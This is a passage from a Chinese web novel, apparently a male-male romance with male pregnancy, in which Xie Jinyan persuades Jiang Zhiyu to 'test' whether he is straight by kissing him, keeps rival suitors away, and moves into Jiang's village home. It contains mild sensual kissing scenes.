“如果一个人是直男,必然会厌恶同性之间的亲吻行为,会本能地排斥和抗拒。” 江之遇还是不懂他为什么要给自己说这些,怎么就开始说起直男不直男的问题了。 “你可不可以说话直白一点,我听不太懂你要表达什么。” 江之遇想着要是有一天大家说话不要拐弯抹角,让人难以揣摩就好了。 然后就听眼前的男人正着一张脸对他道:“我的意思是,你和我亲一下试试,看会不会有排斥反应,这样就能确定你是不是直男了。” 第56章 第 56 章 关于我是孩子亲爹却给孩…… 亲……亲一下??? 江之遇有一瞬间以为是自己听错了, 整个人愣住。 然后努力从他薄薄的唇形中试图分辨这句话是不是从他口中说出来的。 最后得出的结论是,就是这个男人说的。 江之遇脸上迅速爬了层红晕,他面上皮肤白净, 染上一点绯色就会十分显眼。 别提这样大片的红铺开, 从脸颊蔓延到耳垂, 再爬到修长漂亮的脖颈。 像在皑皑雪地上一路绽开的艳丽的花。 他闭了闭眼, 语气很是羞敛磕绊:“我、我为什么要和你亲试试, 还有, 我为什么一定要确定自己是不是直男?” 柔和光线下,谢津延深挺眉骨被抹去一点锋锐,发丝散乱几缕, 垂在眼睫,漆黑眸子没有那么深不可测。 语气平稳正经:“这样你就可以判断以后是给孩子找一个后妈还是后爸。” 谢津延:“如果你是直男, 我放手, 任凭你以后给孩子找后妈,我不纠缠你, 只要她对宝宝好。” “可是……”他垂了垂眸, “如果你对男人不是没有感觉, 可不可以给我留一个位置?我毕竟是宝宝的亲生父亲,就算你一时接受不了我,也可以把我当作后爸备选,我不介意给宝宝当后爸。” 自己当自己孩子的后爸? 江之遇听到这一句,大脑宕机了几秒, 感觉又开始听不懂他说的话了。 他努力去捋这句话的含义:“你说自己给宝宝当后爸是什么意思?” 就见眼前的男人垂敛起眼眸, 柔和的灯光在他眼睫拓下一小片影子,他黑眸中的情绪也看不分明。 “因为我已经在协议书上签了字,遵照约定, 我现在和你肚子里的孩子没有任何关系,所以只能竞争后爸当了。” 江之遇:“……” 江之遇隽秀的眉头拧了又拧,勉强被他这个总觉得哪里不对劲却又找不到漏洞的怪异理由说服。 “可我还是不能和你试……”他红着脸。 谢津延:“为什么?” 江之遇垂下眸,用手指不自然地去捏自己的衣角,小声道:“你是我养子的小叔,昭昭喊我爸爸,叫你小叔,谢老夫人说了,让我们俩当兄弟,如果我和你那样,我们之间就是、就是……” “乱.伦?”谢津延语气波澜不惊道。 江之遇抬头,睁大眼睛:“你怎么说出来了?” 谢津延唇角扯起上扬的弧度,撩起眼皮:“又没有血缘关系,就算有,我们也已经乱过了,连孩子都有了。” 江之遇:“?” 江之遇瞪着他,一脸震惊的表情,半天不知道作什么样的回应。 最后憋红着脸把他从自己面前推了推,他怎么总喜欢挨自己这么近。 “我不和你说了,也不想和你试,这么晚了,我们都去睡吧,孩子后爸的事情以后再说。” 江之遇快速关上卧室的房门。 “砰”一声,木门将羞愤慌乱的身影遮掩。 淡淡草木清香的余温撩过鼻尖,谢津延黑眸盯着将他关在外面的房门,驻足良久。 好像有点麻烦…… 但这个晚上,谢津延心里不再烦躁,那种被什么挖空,怎么也填不满的空洞和空虚好像找到了填堵的方式。 在熟悉洁净的床铺和悦耳的虫鸣声中,他鼻尖浮荡着清浅的草木清香的味道,连着昨日的彻夜未眠,睡了一个特别好的觉。 第二天清晨,他早早醒来,按照食谱和教学视频新学了份早餐。 他学东西快,很多时候只有想做与不想做的区别。 诗朗诵和上次的夸赞例外。 于是等江之遇睡醒从卧室出来的时候,便再一次在厨房看到这道围了小熊围裙的高大身影。 树影轻轻摇动,从厨房阳台吹进来的细微的风捎来一阵薄荷的清香。 江之遇只看背影,就能感受到他心情似乎很愉悦。 和昨天早上那种自己都能感受到的焦躁和不安完全不一样。 他的身影融在清晨明透的光影里,身姿都惬意松散。 可是,他好了,自己好像不太好。 一想到他近日种种奇怪的行为,从一开始带着昭昭跑来乡下,到总是和他的朋友们针锋相对。 再到一独处时就挤塞怪异的氛围,都是因为对自己有那种心思,江之遇就耷拉起了脑袋,内心很是纠结。 因为他有点不知道怎么面对他,昨天说了拒绝好像也没用。 他还要和自己亲,验证自己是不是直男。 怎么只过了一天自己的生活就发生了这样翻天覆地的转变? 江之遇想不明白。 他望了眼厨房的身影,转身去卫生间洗漱。 泡沫在口中绽开,他看着洗手台上多出来的牙膏牙刷,洗漱杯。 浴室里给男人准备的专属毛巾,鞋架上之前在集市给他买的拖鞋。 还有厨房多出来的碗筷,晾衣架上给他买的打折的睡衣,已经成了他另一个居所的养子曾经的卧室。 他之前用登机箱装过来的他大哥大嫂的孕百科全书,给自己买的尺码刚好合适的孕夫鞋。 笼子里的垂耳兔,阳台上那盆漂亮惹眼的兰花。 一千五百万吗? 江之遇都不知道还有这么贵的花草,还真以为是他150块钱买来的。 好像不知不觉,这间屋子里到处都留有了这个男人的痕迹和气息。 他平凡平淡的生活被他打破,被他以陪小侄子的理由强行挤入。 屋子里的空间被他一点一点填塞,现在又颠覆,彻底让江之遇混乱了。 最奇怪的是,江之遇好像找不到将他从这里赶走的理由。 再不愿意承认,这个男人始终是自己肚子里宝宝的亲生父亲。 还有一层养子的关系,他昨晚还说要竞争当宝宝的后爸。 亲爹当后爸。 哪有这样的…… 江之遇怔怔地刷着牙,口腔被绵密的泡沫包裹,他又想到那句反正已经乱过,孩子都有了。 镜子里映出他一张有些红的脸。 江之遇吐掉口中的泡沫,快速刷完牙,用冷水拍自己的脸,驱散脸颊上的热意。 因为除了这些让他无法招架、不知道怎么回应的话语,江之遇发现自己也有点习惯屋子里多出的这个人影。 不知道是不是因为他自己一个人生活久了…… 他只用冷水冲完脸擦干。 走进堂屋。 昭昭小叔已经往方木桌上摆了早餐。 现在基本上只要这个男人在,就会在厨房对照着食谱自己学做饭。 江之遇想到昨天早上好像也是这样,他还那么自然地去咬他筷子夹过来的培根卷。 现在想想,他们过于亲密了。 “你起了,快过来吃饭。” 听腔调果然是愉悦的。 江之遇在餐桌前坐下。 早餐是他熬的南瓜粥,还有鸡蛋面,蔬菜豆腐汤,以及一盘营养丰富的水果。 江之遇用勺子舀了碗粥,又吃了口鸡蛋面。 好吧,怪不得男人上学时期能拿那么多奖状和奖杯,无论哪科成绩都名列前茅,这个人确实做什么都厉害。 他心不在焉地吃着男人做的早餐,感觉大脑依旧乱乱的。 忽然,唇角传来一片温热的触感,比他体温高一些的热意触上唇角的皮肤。 指腹细细摩挲,几根修长手指握住他的下巴,挤出唇角和脸颊上的一点软肉。 江之遇从餐桌前弹起身。 没忘记这样修长如艺术品一样的手指曾经怎样搅弄过他的舌头和口腔。 “你一大早的干什么?” 谢津延手指顿在半空,冷峻面庞上的表情有片刻怔愣。 他视线凝在男人受惊小兔子一样的绯红面庞上,又垂眸看了眼抹在指腹上的粥粒。 “我看你吃饭好像在走神,勺子好几次捅到了嘴角上,脸颊上糊了粥。” 江之遇:“……” 江之遇快步走进浴室,往镜子里看去,果然看到自己的嘴角和一侧的脸颊上糊了点南瓜粥。 他擦干净脸上的粥糊糊,很是羞窘地重新在餐桌前坐下:“对、对不起,我不知道,我以为……” “你以为我想对你做什么?”谢津延注视着他红红的脸。 清早的阳光浅亮,投进来的光束温柔。 男人秀美的脸庞浸在这样温润的光线下,染了红,谢津延指腹残留着脸颊软肉的触感。 终于长了些肉。 谢津延很轻地扯了下唇角,扬起一点愉悦的弧度:“我虽然不是什么正人君子,但还不至于这么禽兽,大清早吃饭的时候有这种想法。” 江之遇闹了个大脸红,很是羞窘,低下头,小声咕哝。 “……还不是因为你总说想亲我、抱我这样奇奇怪怪的话,把我也弄得奇怪的了。” “所以我觉得你可能不是直男。”谢津延慢条斯理往口中送粥,“直男不会被这些话影响。” “好了,你别说了。”江之遇眼神不自然地打断他,“等下你又要让我和你亲试试了,我不想和你亲,你咬人很痛,还总让我伸舌头。” 谢津延:“……” 刚才没火,现在有点被撩起来了。 明明眼前的男人说话才奇怪,行为举止有时候也旁若无人。 很容易害羞,却又好像很迟钝。 支支吾吾的,喜欢自己小声嘟囔,吐出的话又十分直白。 谢津延思绪一瞬飘远。 他那晚让他伸舌头了吗? 记忆模糊,只记得湿滑的触感,勾在舌头软软热热的。 蜜水很甜,像在吸食甜蜜的果酱,让他很是上瘾,就想全部舔遍。 谢津延眸色幽幽暗暗,再看眼前埋头吃饭,眼神闪躲,不怎么敢看他的男人。 水润唇瓣沾上汤汁,唇形漂亮,指腹抹上去的触感很软,隐隐闪过粉嫩的舌尖。 或许刚才那句话说早了,他此刻很想把他抱在桌子上。 热粥一同挤入。 蓝莓,蜜橙,不知道还能不能搅出那样甜腻的汁水。 第57章 第 57 章 亲 一顿早饭吃的两个人都神色怪异, 彼此也不知道对方在想什么。 从江之遇的角度,就觉得后面男人落在他身上的眼神让他十分不自在,仿佛下一秒就会被他按在墙上。 顶着这样的目光, 江之遇吃完了早饭。 之后, 看到男人坐到他平常用来临时办公的那张桌子前, 打开电脑。 江之遇正在给小兔子喂食, 半途抬起头, 见他似是不打算离开的样子, 有些疑惑。 “你不回公司吗?” 谢津延一副西装齐整,神情专注的模样,仿佛坐在自己的总裁办公室, 语气也沉敛认真。 “这段时间如果没有重要的事情我不打算回北城,宋秘书会让人把需要我签字的文件送过来。” “你的意思是你要住我这里了吗?”江之遇愣了愣, 有些惊讶。 还要让人把文件送过来, 他这是打算把自己这里当作他的异地办公地点了? 谢津延淡淡嗯声:“主要是我不放心黎清叙他们这些人,你一个人在家, 他们一定又会想方设法过来骚扰你, 太危险了。” “我怎么觉得你更危险……”江之遇嘟囔一句, 将一小片青菜叶送到小兔子的嘴边。 经过这几天的悉心喂养,十一更加适应这个新家了,不再没人的时候一只兔悄悄吃喂给它的食物,而是可以从江之遇的手中咬过他喂到嘴边的蔬菜叶和胡萝卜片。 这是已经开始熟悉他这个主人了。 江之遇还挺开心的,可是看到屋子里男人坐在电脑前八风不动的身影, 又有些苦恼。 他真的要打算待在自己这里吗? 哪有这样大一个集团的总裁天天往乡下跑, 这会儿干脆不回去了。 怎么和江之遇之前补这个世界的信息刷到的那些霸总小说和短剧里的总裁不太一样? 江之遇一边给小兔子喂食,清理着兔笼,一边在心里嘀咕, 同时想着要怎样让昭昭小叔回北城去。 之前时不时在自己这里留宿,也像现在这样异地办公,处理公司事务,江之遇没觉得有什么,只当一切是为了昭昭。 可现在知道他对自己有那样的心思,他就没办法忽视这个身影了。 心情正乱七八糟着。 院子里的门被再次敲响了。 江之遇还没来得及起身,就见昭昭小叔已经从电脑前离开,去开院子里的门了。 是黎少爷。 黎少爷今天倒没有空运玫瑰花过来,却不知从哪里采摘了一束新鲜的野花。 “昭昭养父,你说空运玫瑰花太浪费,所以我就从你们这里的田埂上给你采了些你平时插在花瓶里的花,你看看这次喜不喜欢。” “黎清叙,你是真不打算遮掩了是吧?”谢津延冷着脸望着院子门口的发小,语气像结了冰一样。 黎清叙扬了扬桃花眼,嘴角还带着一点淤青,却丝毫不影响他笑得斯文和煦:“跟你学的,既然已经摊了牌,没必要再藏着掖着,大家公平竞争,我猜你昨天一定被昭昭养父拒绝了。” 谢津延神情阴鸷,半晌冷声:“你就是这么当兄弟的,非要和我抢人?” 黎清叙眯了眯眼:“照这样说,我还觉得是你和我抢,明明一开始是你不负责任,在那张协议书上签字,也是我第一个来这里找到他。” 谢津延默言,脸色十分阴郁。 那纸协议确实是他心里挥之不去的痛,无论找什么样的理由都改变不了是他亲手在上面签了名字的事实。 然而很快,他扯起唇角,弯起讥讽的弧度:“你说的这些我认,不过可惜,我被拒绝,你同样不会有戏,因为那个男人是直男,不喜欢男人,他给孩子找后妈都不会找后爸,所以你可以走了。” “他不喜欢男人?”黎清叙总是弯着的桃花眼闪过诧异。 谢津延淡笑:“对,你也知道那天晚上我们两个是因为你们家的疏漏才发展成这样,他本质不喜欢男人,打算以后给宝宝找个后妈,所以除非你去变性,不然他不可能接受你。” 黎清叙:“……” 黎清叙斯文面上的表情露出一丝裂隙,随后又笑起来:“就算是这样,我不信你会无动于衷,什么都不做。” “那能怎么办?”谢津延状似无奈的口吻,“至少我还有一层孩子生父的关系在,为了宝宝,我可以忍,只要他过得好。” 黎清叙:“……” 竖了竖拇指:“你真大度。” 黎清叙捧了野花转身离开了。 他这位发小倒是有点让他“刮目相看”。 只走了一段路回过味,这一副把狗链子拴在身上随时朝过路人咬一口的恶犬模样,可不像是能忍得下去的。 不喜欢男人吗? 黎清叙扬了扬唇角。 掰弯直男更有趣了。 院子的门重新关上,江之遇清理完兔笼出来,望一眼门口:“是黎少爷吗?” 谢津延插上门栓,穿过葡萄藤架下的身影冷冽,面色阴鸷,却在对上这双看过来的清透眼眸后,神色放缓:“是他,我就说了,他们会想方设法来骚扰你,居心不良。” 江之遇看到了那束野花,也听到了黎少爷刚才在门口喊的话,踌躇道:“那你说了什么让他走了?” “我说你不喜欢男人,以后要给宝宝找后妈,让他不要再对你有想法。”谢津延倒是如实告知,没有丝毫隐瞒。 江之遇舒了一口气:“那就好。” 虽然还是不太相信黎少爷会对自己有那种心思,可为了避免造成什么误解,这样说明白也好。 不然总是往自己这里送花过来,他还真不知道要怎么应对。 江之遇回到屋子里给小兔子换水。 接着,就开始了日常去工具屋做木制小玩具拿去桑姨那里卖钱。 刚在工作台前坐了没多长时间,敲门声又一次响起。 这一次是祁少爷,问可不可以继续拍昨天没有拍完的视频。 “溪源乡有那么多可拍的,你为什么一定要在这一个地方拍?”谢津延半开着门,漆黑眼眸冷冷注视着这位一口一个之遇哥的发小。 祁焰有些心虚,视线不住往屋子里瞥,却被高大的身影堵得严严实实:“我只是想帮忙宣传一下之遇哥匠心独运的工匠精神,做非遗文化的弘扬。” 谢津延漠然看他:“我已经请了专业的摄影团队过来,配合你进行视频采录,你既然这么有觉悟,不如去挖掘溪源乡其他可弘扬的地方,乡民们一定会很感激你。” 祁焰:“……” 谢津延:“对了,你之遇哥不喜欢男人,是个直男,你也注意一下自己的分寸,被粉丝们知道你和别的男人有过于亲近的行为,你当初好不容易说服家里人进娱乐圈追的梦打算就此止步?” 祁焰愣了愣,握着手机转过身。 下一秒,眼前的木门被关上。 等回到借住在溪源乡的乡民居所,助理问他怎么这么快就回来了,祁焰猛地想起来。 之遇哥家里没有别人,就算他和之遇哥举止过密,又能被什么人知晓? 好你个谢津延,威胁我,竟然使这么下三滥的手段! 不过阿延说的没错,作为偶像,确实要对自己的事业和粉丝负责。 何况当初为了进娱乐圈,他是破除了很大的阻力才征得家里人的同意。 要为了一瞬的心动和贪念放弃自己的梦想吗? 祁焰陷入了片刻的迷茫。 祁少爷走后,小院重新归于宁静。 但没多久,敲门声又响了起来。 这一次,谢津延没去开门。 江之遇纳闷,怎么这次昭昭小叔坐在电脑前没有动? 他起身,朝屋子外走去:“要不我去看看吧,不一定是霍少爷,万一是小蓁姐或是其他乡民有什么事找我呢?” 谢津延平静放下手机:“没事,他已经走了。” “什么?”江之遇微微一怔,随后听到院子里的敲门声果然停了。 难道真的是霍少爷? “你给他发了什么?”江之遇注意到他刚才在手机上打字,疑似是给霍少爷发消息。 谢津延面不改色:“说我们俩昨晚闹了点矛盾,你身体不太舒服,现在还在床上睡觉,不方便见人。” “哦。”江之遇没去细想这句话有什么不对,只看了眼墙上的挂钟。 九点半,虽然他从来不会睡到这么晚才起来,不过如果能让霍少爷止步门前,他就当自己的身体不舒服了。 “现在你还觉得他们对你没有想法吗?”谢津延视线掠过他仰头看钟时一截修长漂亮的脖颈。 江之遇转头看他:“我只是想不明白,我有什么可被喜欢的呢?我一个乡下人,还是个怀了孕的男人,无论什么都和你们天差地别,我真不懂你们这些大少爷在想什么,口味这么怪异。” 谢津延:“……” 谢津延黑眸闪了闪,脑海里蓦地掠过和眼前这个男人在酒店走廊初次遇见的画面。 外面的雨已经停了,玻璃窗上蜿蜒着鎏金的水珠,铺着长毯的走廊静谧,宴会厅的喧嚣一瞬拉远。 他很是不适,衣服上洒了酒水和奶油蛋糕,被陌生的手指触碰到身上,反感,体内也有一股怪怪的感觉。 却在这时,有一道细软生怯的声音叫住他。 很好听的声音,虽然带着口音,但像山涧细流清澈地流淌过耳膜,又像被春日绵密的雨丝缠裹。 谢津延直到很长一段时间都认为,他那晚所有的异样,无论是羽毛一般刮过耳膜的酥痒。 还是像画笔在白皙手背勾出几笔黛峰的漂亮手指抓在自己胳膊上传递过来的星火烧灼的燥意。 所有一切,他都认为是发作在自己体内的药效带给他的错觉和躯体反应。 可如果真是这样,为什么他总忘不了一转头时对上的误闯入林中谨慎小鹿一样忐忑又期待的清透眼眸。 谢津延那晚很多记忆失真,可理智崩溃前的所有,他都记得清清楚楚。 明明紧张、害怕,已经察觉到危险的气息,还不忘关切问自己是不是哪里不舒服。 把他失踪多年的小侄子锲而不舍带回他身边。 不要他们家的答谢,还要把钱捐出去。 总是不按常理出牌。 胆怯又执着。 自己都处境艰难了,还总想着别人。 长得还很漂亮,衣着朴素,但又白又香。 手很巧,会做很多精巧的小玩意儿。 他身上有一种天然吸引他们这种人的气息。 除了在那张协议书上签字,没有及早认清自己的心意。 谢津延另一件后悔的事就是让他的这几个发小在自己家里见到这个男人。 让他们鬣狗嗅食一样环伺过来。 “你想知道为什么吗?” 阳光在地面上落下斑驳的影子,院子里葡萄藤叶清香,静谧的小院,只有他们两个人。 谢津延思绪拉回,注视着眼前人困惑不解的眼眸。 江之遇茫然一瞬:“为什么?” “你坐过来,我告诉你。”谢津延往椅凳旁边挪了挪,腾出一个空间。 他用来临时办公的是昭昭以前写作业的书桌,凳子是江之遇自己打的长条凳,方便江之遇有时候帮昭昭辅导作业。 虽然江之遇没有正经去过学校,但自学过很多课本知识,对养子小学三年级的课程手到擒来。 江之遇很是好奇,为什么昭昭小叔还有他这几个朋友会对自己产生异样的心思。 其实他更好奇男人为什么会喜欢男人。 他不自觉坐过去。 谢津延鼻尖钻入他身上淡淡好闻的草木清香,懵怔清透的眼眸也和自己拉近。 谢津延问:“没有人告诉你你是一个很美好的人吗?” 江之遇怔了怔,好像确实没有。 他遇到的人对他说过的最多的话是,他是一个老实本分的人。 勤劳,能干,是个好人。 适合踏踏实实过日子,但没有人愿意给他介绍女孩子。 “美好”这两个字眼,是江之遇第一次听到。 他不是很懂这两者之间的区别,摇摇头:“没有。” 谢津延告诉他:“在我们生活的圈层里,什么形形色色的人都有,越是上层圈,越因为漠视规则束缚,卑劣和丑陋之人越多。” “这种体会,岭生应该感触最深,事实上,只要在名利场上,几乎没有人能逃掉。” “所以像你这样的人就天然吸引我们这类人。” 江之遇:“?” 怎么越来越懵了。 “什么叫我这样的人?” 谢津延:“总之,你知道你是一个很美好的人就可以了,这种美好是无法用金钱、地位和学识去衡量的。” 江之遇:“我觉得你说得好玄乎。” 谢津延用了他经常对自己说的一句话:“你不懂,但你记得以后要多加防备他们。” 江之遇有些坐立难安。 他原打算在乡下平平淡淡过自己带娃养娃的日子的,怎么会招惹上这么几位大少爷? “可我还是不太明白男人有什么可喜欢的,都是一样的生理构造,不觉得尴尬吗?”江之遇嘀咕。 谢津延视线凝在他脸上:“其实以前我也不理解,但现在知道了。” 江之遇:“什么?” 谢津延:“你和我亲试试,说不定就能搞清楚。” “你、你怎么又扯到这上面了?”江之遇从座椅上站起身,脸一瞬间羞得通红。 谢津延抬眸:“我只是觉得你既然这么苦恼,不如确认一下,弄清楚也就不会纠结了,你可以放心去给宝宝找后妈。” “我还是觉得这个方式很奇怪。”江之遇的脸涨的通红,“哪有……” 纠结的话没有说出口,修长胳膊伸过来一把拉住他。 灼热的掌心圈住他的手腕,江之遇重心不稳,被扯到男人腿上坐下。 他屁股硌了一下,想问他又要干什么。 嘴唇被含住。 很温软的触感,带来一股江之遇第一次在走廊看到他从自己面前走过时,让他恍若回到以前居住的山间那种沉冽悠远的木质沉香气息。 江之遇不知道发生了什么,睁大双眸。 下一秒,这种沉冽的气息拉远,唇瓣上温热的触感也随之消失,仿佛蜻蜓点水一般。 江之遇很茫然,低头注视着近在咫尺的五官俊逸的脸。 离得近了,他面部的轮廓更加立体清晰。 眉峰削利,眼珠颜色很深,从摆着兰花的阳台前斜射进来的光落在他一半侧脸上。 朦胧光圈柔和他的眉弓、鼻梁,最后落在他薄薄的唇上。 刚才自己嘴上的温热就是从这里来的吗? “怎么样,排斥吗?”谢津延握着他的手腕,另一只手扣在他脖颈后的软肉上,手指插着细软的发丝。 江之遇很晕乎:“……你刚才亲我了?” 谢津延漆黑眼眸盯着他:“就亲了一下,都不算亲,只能算贴一下。” 江之遇区分不了他口中的“亲”和“贴”有什么分别,不解问:“有什么不同吗?” 谢津延就把他脑袋朝自己压下一点,在水润唇瓣上碰了一下:“这是贴。” 然后又在上面吸了一下,有明显吸吮亲吻的声音传到江之遇的耳膜,虽然只有短短一秒。 江之遇听他低沉磁性的嗓音勾着自己的呼吸:“这才是亲。” 江之遇脸一红,有些傻眼,被箍在腿上,好半天反应过来,热气一下冲到头顶,挣扎起来。 “你怎么突然就亲我了。” 谢津延揽住他,不让他乱动,隔着西裤布料贴着他的柔软,谢津延吸了一口气。 “你就说你刚才有没有排斥或是反感的感觉?” 江之遇脸红得快要滴血,却停止挣动,回忆了一下,随后羞愤道:“太快了,我不知道。” “那再试一下。” “还要试?”江之遇觉得自己的大脑像是炸了枚炮仗,被贴过的地方也像被火舌燎了一下。 谢津延:“你刚才说太快了,没有感受到,那我再试一下,这次慢一些。” “不了。”江之遇直起身,就要离开。 下一秒,“唔”了一声,他脑袋被压下,余音截在灼热的呼吸里。 江之遇瞪大眼睛。 像那天晚上男人挤进他唇齿间一样,震惊得忘了推开对方。 等记起这件事的时候,已经来不及了。 呼吸被夺走,他被有力的臂膀牢牢禁锢住,动弹不得,身上的力气也像是被吸噬掉,很快整个身体往下滑。 却被托住,修长手指挤进五指间,骨骼磨着指腹的薄茧,细细摩挲。 另一只手却扣着他的脖颈,把自己压在他唇上。 辗转,舔磨,很奇怪的感觉,头皮有些发麻,却无法思考,大脑空白一片,只听到嚅动水声。 谢津延看他被自己亲得一双清透漂亮的眼眸蒙了层水雾,迷离,手绵软地搭在自己肩上,呼着潮湿热气。 他在这瓣柔软唇肉上轻轻咬了下,有些无奈。 “还没伸舌头就这样了。” 第58章 第 58 章 “你对我有没有一点感觉…… 这句话几乎是贴着他的嘴唇说的。 低低的嗓音, 耳膜被揉,唇上酥酥麻麻的,又缠着热气, 鼻尖碰到鼻尖。 嘴唇触了细微的电流。 江之遇眼神迷离, 脑海里完全空白成一片, 又像是糊了浆糊, 不能思考, 身子轻飘飘的。 只感觉全身的血液都集中在了脸上, 唯一的知觉在和他交缠着灼热呼吸的唇缝间。 他不住地喘着气,大脑恍惚。 过了许久,理智渐渐回笼, 被抽空的力气也勉强回到了躯体内。 江之遇睁了睁晕上一层雾气的眼,看清眼前的景象。 真奇怪, 明明被亲的时候他是睁着眼的, 他坐在男人腿上,这么近的距离。 他们几乎贴在了一起, 可视野好像变得模糊, 听觉也失灵了, 所有声音都变得缥缈。 只有濡湿的水声异常清晰。 他怔愣了一会儿,盯着男人唇上的水痕。 白日,阳光透亮,清浅的光照在这道水痕上,从江之遇垂眸看去的视角, 拉成了一条银色丝线。 他用了十几秒的时间反应过来那是什么。 脸迅速爆红。 “你、我, 我们真亲了?” 谢津延脸上似是露出愉悦的表情,抱着他,只重复问道:“你排斥吗?这次我特地放慢了些。” 江之遇隽秀脸上的表情呆滞住, 被问住了。 “我……” 他仔细回忆了一下。 因为太过突然,江之遇其实一开始并没有反应过来,就觉得嘴唇忽然被什么柔软温热的东西含住。 和那晚被强势挤进口中,在口腔中肆掠搅弄完全不一样的感觉。 或许男人今天没有受药效支配,是在清醒的状态下,猝不及防,但温柔。 他当时模模糊糊的印象,这张唇看上去很薄情的样子,平日里吐出的话冷,讥诮,贴在唇上竟意外柔软,是软热的。 吸得他头皮发麻,嘴唇很痒。 江之遇形容不出这种感觉,他没和别人接过吻,不知道其他情侣之间接吻是什么感觉。 但内心的声音告诉他是不排斥的,也不反感。 可是这话他有点说不出口,太羞耻了。 他竟然被男人亲得浑身发软,要靠对方托着自己,身体才不会往下滑。 “我,我没感觉!”最后,江之遇听自己慌慌张张说了这么一句。 谢津延就盯着他闪躲的眼眸,似是在分辨他这句话的真实性,最后轻笑了下,得出结论:“没感觉就是不排斥。” “你?”江之遇很少见他笑,除了山底动工仪式那天他在台上不知是出于客套还是什么缘由,唇角弯起明显的弧度。 这还是江之遇第二次见他笑得这么愉悦,甚至不知道是不是江之遇的错觉,有一点餍足? 他还来不及细想自己为什么会生出这种想法,又听男人一本正经道:“下次我们再伸舌头试试,如果这种程度你还没有感觉,说明你可以接受男人。” “你!” 伸舌头? 江之遇简直不敢相信自己听到了什么。 “我就知道你有这种怪癖!” 他一把推开他,从他身上下来。 隐隐蹭到了什么,身体一僵,随后脸更红了。 “还有你这个动不动就上火的毛病,什么瘾,之前许大夫给你开的药你是不是没喝完?” 谢津延:“……” 总之这段时间的生活就是这样的。 昭昭小叔不肯走,每日和自己同住一个屋檐下。 一边防备他那几个朋友,不让他们进自己家的门,一边不断和自己试探直男的底线。 有时候是在厨房做饭的时候,他煲着汤,男人在旁边清洗蔬菜。 不知怎么的,也许是他的手在穿过清凉的水流时无意间蹭过他的手背。 反应过来,他已经被压在洗手台前和他接吻。 陶瓷罐里的汤翻滚着咕哝咕哝的声音,他被撬开牙关,唇缝挤进湿热的触感,被磨着嘴唇舔.弄。 有时候是在院子里给蔬菜浇水,他帮自己浇,浇着浇着,脸颊被掰过。 江之遇正疑惑,薄薄的唇印下来。 他被迫仰着头和他在飘着葡萄藤清香的院子里发出啾啾的水声。 渐渐的,江之遇好像已经习惯了这种唇齿间的触碰。 也有点习惯屋子里多出的这个人。 他偶尔会产生两个人在同居的错觉,他或许真的喜欢男人也说不定。 昭昭小叔只有在公司有重要事情的时候飞回北城,每次忙完,都会给自己带些什么过来。 先是他自己说的一百块钱三盆的植株,这次真没骗自己,他还特地跟宋秘书学了砍价。 其中有一盆江之遇不知道是什么花,昭昭小叔只说等长出枝叶开了花就能知道。 江之遇于是没再问,只看着自己的屋子、小院被渐渐地填满,到处是漂亮的绿植盆栽。 还有他又拎过来的一只小动物,花栗鼠。 憨态可掬,特别可爱,正好可以和已经能够在院子里蹦蹦跳跳玩耍的垂耳兔作伴。 再然后是两只可爱的小草龟,带过来后,江之遇自己根据乌龟的生活习性给它们做了个生态缸。 鹅暖石是昭昭小叔陪他一起去河边捡的,还有苔藓,用作假山的石块,各种水草植物。 他们甚至还去湖里采了些小睡莲。 得知那日他和霍少爷来家里找自己,看到祁少爷跟在自己身后,就是陪自己去湖里采摘荷叶。 他还帮祁少爷赶了蛇。 就是在这艘小木船上。 然后江之遇忽然就被昭昭小叔搂在船上和他亲。 船晃啊晃的。 他被男人吻得有些晕,也可能是船身晃动的关系,头顶上的日光灼烈。 昭昭小叔惩罚似的咬他的唇:“祁焰就是在这里缠着你的?” 江之遇眼睛迷蒙着,耳边是船底水流的哗哗声,眼前光晕朦胧。 他有点缺氧,吐着热气,茫然地点点头。 谢津延心里就像打翻了柠檬水一样,酸涩得不行。 那天是他们第一次尝试舌吻。 江之遇记得他刚点完头,就有什么湿滑的物件强势地挤了进来。 这段时间,他们两人一直止步于唇齿相碰的试探。 他不愿意,昭昭小叔就也没有更进一步。 可是这次,男人却直接把舌头伸了进来,修长手指捏着他的脸颊,湿滑卷住他的舌尖,重重吮吸。 那天,江之遇有一种自己要被吃掉的感觉。 他倒在男人怀里,船身悠悠地晃,他被捧着脸,舔.弄着口腔里的每一寸气息。 氧气被夺走,舌.根发紧发麻。 江之遇不知道是哪里惹到了他,他为什么会突然这样。 就只感觉他这次亲自己比每一次都凶,甚至连那晚都比不上。 江之遇心想,祁少爷怎么他了? 他神思恍惚地听着船底水流哗哗的声音,悠悠远远,和口中的水声交织在一起,分不清哪种。 灵魂似是被吸噬掉。 最后只能双眼失神地望着头顶的天空,视线随船身晃荡,总也无法聚焦。 还好周围是满湖碧绿的莲叶,遮挡住了旁人的视线,没有人看到他们。 等恢复神智,从木舟上下来,江之遇就不想理这个男人了。 “对不起,我错了。”谢津延追在他身后。 溪源乡的乡民已经习惯了谢氏集团的谢总常常待在他们村,出入之遇家。 甚至已经热络地不再喊他一声谢总,而是跟着喊一声“昭昭小叔”。 眼下看到他们俩从莲花湖那边走过来,高大俊逸的身影跟在纤瘦漂亮的身影后。 冷峻面庞上的表情似是小心翼翼,还有他们不知道是不是看错了的懊悔和忏悔。 村民们跟两人打了声招呼。 谢津延冲他们礼貌点点头,随后又大步追上去。 等走到了一个无人的地方,他一把拉住前方人的手。 “之遇。” 江之遇一下子顿住脚步。 过了许久,身形有些怔愣地转过去。 “你刚才叫我什么?” 谢津延黑眸闪烁,霞光映照的脸微微有些发热。 他也想染了踌躇似的,舌头有些僵迟:“……之遇,我早就想这样叫你的名字了。” 江之遇先是一愣,随后脸颊一点一点红起来。 没有忘记有个月夜,眼前的男人应酬完喝醉酒回来,在皎皎月色下趴在他身上呢喃着喊他之遇哥,之遇…… 那晚的事情之后谁也没有提起。 江之遇至今都不知道他那晚的事情知道多少,酒醒前戏谑自己的那一刻是装的还是怎样。 他只知道他叫自己的名字让自己感到很奇怪。 “你还是叫我昭昭养父吧。”江之遇语气不自然地说道。 “为什么?我们都这样了。”谢津延黑眸凝着他,似是不解。 江之遇也不知道为什么,小声道:“我不知道,我只感觉很奇怪,还、还有,我们怎样了?” “我们都亲这么多次了,刚才还舌吻了。” “我刚想说呢。”江之遇一瞬羞红了脸,“你干吗要在船上亲我,不知道随时会有人吗?要是被看见了怎么办。” “对不起,我刚才冲昏头了。”谢津延也很后悔。 “我一想到那天祁焰摇尾巴一样跟在你身后,你和他有说有笑,就特别嫉妒。” “他才认识你多久,就一口一个之遇哥,你还就让他这么叫你,对他也很亲昵,比对我好。” 